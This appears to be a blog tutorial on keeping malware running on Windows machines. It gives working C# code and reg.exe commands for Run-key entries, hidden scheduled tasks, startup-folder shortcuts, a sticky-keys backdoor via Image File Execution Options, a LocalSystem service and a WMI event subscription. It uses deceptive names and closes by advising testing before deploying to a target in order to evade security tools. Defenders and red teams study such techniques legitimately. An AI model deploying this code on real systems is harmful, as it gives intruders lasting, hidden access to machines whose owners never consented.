Persistence mechanisms ensure malware continues to operate on a system after it’s initial execution. This article will be looking at a few common ways this is done, including;
User Persistence
Techniques that can be used with access to a unprivileged user account;
System Level Persistence
Techniques that require administrative level access;
User Based Persistence
Registry Entries
There are a number of registry keys that can be used for persistence.
Key | Description |
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run | Runs code in the context of a user. |
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce | Runs code in the context of a user. The key is removed after it’s first use. |
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices | Runs code as a service before user logon. |
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce | As above, but the service is only executed once before the registry key is deleted. |
We can manually set these keys using reg.exe;
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Not Malware" /t REG_SZ /F /D "C:\TotallyNotMalware.exe"
The below C# code can also be used to add a registry entry;
static void RegistryEntry(String command)
{
//HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Console.WriteLine("Adding registry key...");
var WriteKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
WriteKey.SetValue("Runme", command);
}
Scheduled Tasks
Scheduled tasks can be a pain to create in C#. I recommend install the TaskScheduler Nuget package;
NuGet\Install-Package TaskScheduler
The below function will create a scheduled task. Note, that by default tasks will not execute on battery power or if the system is in use, so we need to override these settings when creating the task.
static void ScheduledTask(String command)
{
using (TaskService ts = new TaskService())
{
Guid id = Guid.NewGuid();
Console.WriteLine("Adding scheduled task: " + id.ToString());
var td = ts.NewTask();
td.Actions.Add(command, null, null);
td.Settings.ExecutionTimeLimit = TimeSpan.Zero;
td.Settings.DisallowStartIfOnBatteries = false;
td.Settings.StopIfGoingOnBatteries = false;
td.Settings.RunOnlyIfIdle = false;
td.Settings.IdleSettings.StopOnIdleEnd = false;
td.Triggers.Add(new LogonTrigger { UserId = System.Security.Principal.WindowsIdentity.GetCurrent().Name });
ts.RootFolder.RegisterTaskDefinition(id.ToString(), td);
}
}
Startup Folders
The startup folder is typically located at C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. We can drop a shortcut file in the directory to execute a command of our choosing. Make sure you add a COM reference for “Windows Script Host Object Model”,
using IWshRuntimeLibrary;
static void StartupFolder(String command)
{
WshShell wshShell = new WshShell();
IWshRuntimeLibrary.IWshShortcut shortcut;
string startUpFolderPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
shortcut =
(IWshRuntimeLibrary.IWshShortcut)wshShell.CreateShortcut(startUpFolderPath + "\\" + "calc" + ".lnk");
shortcut.TargetPath = command;
shortcut.Description = "Nothing to see here";
shortcut.Save();
}
Local System Persistence
Sticky Keys
At the systems login screen, you can press the shift key 5 times to bring up an accessibility helper. This launches the C:\Windows\System32\sethc.exe executable. We can replace this executable with cmd.exe to gain local system access when the shift key is pressed 5 times on the logon screen.
Sethc.exe is owned by TrustedInstaller. In theory, we should be able to programmatically activate SeTakeOwnershipPrivilege, and use this to take ownership of the file, then delete it. Unfortunatly, I couldn’t get this to work.
An alternative way of exploiting this is to set Image File Execution Options in the registry, so that when sethc.exe is executed, cmd.exe is invoked as a debugger.
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
Windows Services
Use Visual Studio to create a Windows service project.
On the service.cs page, right click and select “Add installer”, then select the ProjectInstaller.cs file. Right click on InitializeComponent and select “Go to Definition”. This should bring you to the following code, that we can edit to change the service name and description.
namespace WindowsService
{
partial class ProjectInstaller
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.serviceProcessInstaller1 = new System.ServiceProcess.ServiceProcessInstaller();
this.serviceInstaller1 = new System.ServiceProcess.ServiceInstaller();
//
// serviceProcessInstaller1
//
this.serviceProcessInstaller1.Account = System.ServiceProcess.ServiceAccount.LocalSystem;
this.serviceInstaller1.Description = "Totally legit service";
this.serviceInstaller1.DisplayName = "Service1";
this.serviceProcessInstaller1.Password = null;
this.serviceProcessInstaller1.Username = null;
//
// serviceInstaller1
//
this.serviceInstaller1.ServiceName = "Service1";
//
// ProjectInstaller
//
this.Installers.AddRange(new System.Configuration.Install.Installer[] {
this.serviceProcessInstaller1,
this.serviceInstaller1});
}
#endregion
private System.ServiceProcess.ServiceProcessInstaller serviceProcessInstaller1;
private System.ServiceProcess.ServiceInstaller serviceInstaller1;
}
}
Next, add some logic by modifying Service1.cs;
using System.ServiceProcess;
using System.Timers;
namespace WindowsService
{
public partial class Service1 : ServiceBase
{
Timer timer = new Timer();
public Service1()
{
InitializeComponent();
}
protected override void OnStart(string[] args)
{
timer.Elapsed += new ElapsedEventHandler(PerformAction);
timer.Interval = 60000; // Every 60 seconds
timer.Enabled = true;
}
protected override void OnStop()
{
}
private void PerformAction(object source, ElapsedEventArgs e)
{
string Command = @"/C C:\LoggingApp.exe";
System.Diagnostics.Process.Start("CMD.exe", Command);
}
}
}
Install the service using InstallUtil.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319>InstallUtil.exe C:\WindowsService.exe
Microsoft (R) .NET Framework Installation utility Version 4.8.9032.0
Copyright (C) Microsoft Corporation. All rights reserved.
Running a transacted installation.
Beginning the Install phase of the installation.
See the contents of the log file for the C:\WindowsService.exe assembly's progress.
The file is located at C:\WindowsService.InstallLog.
Installing assembly 'C:\WindowsService.exe'.
Affected parameters are:
logtoconsole =
logfile = C:\WindowsService.InstallLog
assemblypath = C:\WindowsService.exe
Installing service Service1...
Service Service1 has been successfully installed.
Creating EventLog source Service1 in log Application...
The Install phase completed successfully, and the Commit phase is beginning.
See the contents of the log file for the C:\WindowsService.exe assembly's progress.
The file is located at C:\WindowsService.InstallLog.
Committing assembly 'C:\WindowsService.exe'.
Affected parameters are:
logtoconsole =
logfile = C:\WindowsService.InstallLog
assemblypath = C:\WindowsService.exe
The Commit phase completed successfully.
The transacted install has completed.
Then start the service using sc.exe;
C:\Windows\Microsoft.NET\Framework\v4.0.30319>sc start service1
SERVICE_NAME: service1
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 7280
FLAGS :
Windows Management Instrumentation
Persistence via WMI essentially requires three things;
An Event Filter
As the name suggests, this filters WMI events. For instance, the following query will only look for interactive logon events to a computer;
SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2
An Event Consumer
Consumers carry out actions based on the events sent to them. For instance the CommandLineEventConsumer will execute commands once it’s sent an event.
A Filter to Consumer Binding
The __FilterToConsumerBinding class is an association class that links the event filter instance and the logical consumer instance together through the Filter and Consumer reference properties.
The following code will execute a command when a user logs into the system. It requires an assembly reference for System.Management.
using System.Management;
namespace PersistViaWMI
{
internal class Program
{
static void Main(string[] args)
{
ManagementScope WMI_ManagementScope = new ManagementScope(@"\\localhost\root\subscription");
WMI_ManagementScope.Connect();
ManagementPath WMI_EventFilterManagementPath = new ManagementPath("__EventFilter");
ManagementClass WMI_EventFilter = new ManagementClass(WMI_ManagementScope, WMI_EventFilterManagementPath, null);
string query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2";
WqlEventQuery WMI_EventQuery = new WqlEventQuery(query);
// WMI event filter
ManagementObject WMI_EventFilterObject = WMI_EventFilter.CreateInstance();
WMI_EventFilterObject["Name"] = "Filter1";
WMI_EventFilterObject["Query"] = WMI_EventQuery.QueryString;
WMI_EventFilterObject["QueryLanguage"] = WMI_EventQuery.QueryLanguage;
WMI_EventFilterObject["EventNameSpace"] = @"root\cimv2";
WMI_EventFilterObject.Put();
// Consumer
ObjectGetOptions ConsumerObjectGetOptions = new ObjectGetOptions();
ManagementPath ConsumerManagementPath = new ManagementPath("CommandLineEventConsumer");
ManagementObject WMI_EventConsumer = new ManagementClass(WMI_ManagementScope, ConsumerManagementPath, ConsumerObjectGetOptions).CreateInstance();
WMI_EventConsumer["Name"] = "Consumer1";
WMI_EventConsumer["ExecutablePath"] = "C:\\LoggingApp.exe";
WMI_EventConsumer.Put();
// Bind the filter to the consumer
ObjectGetOptions BindObjectGetOptions = new ObjectGetOptions();
ManagementPath BindManagementPath = new ManagementPath("__FilterToConsumerBinding");
ManagementObject WMI_Binder = new ManagementClass(WMI_ManagementScope, BindManagementPath, BindObjectGetOptions).CreateInstance();
WMI_Binder["Filter"] = WMI_EventFilterObject.Path.RelativePath;
WMI_Binder["Consumer"] = WMI_EventConsumer.Path.RelativePath;
WMI_Binder.Put();
}
}
}
In Conclusion
This post covers some of the more commonly used persistence techniques. It’s important to test these techniques on a test system before deploying them to a target, as different security solutions tend to have a set of techniques they are good at detecting.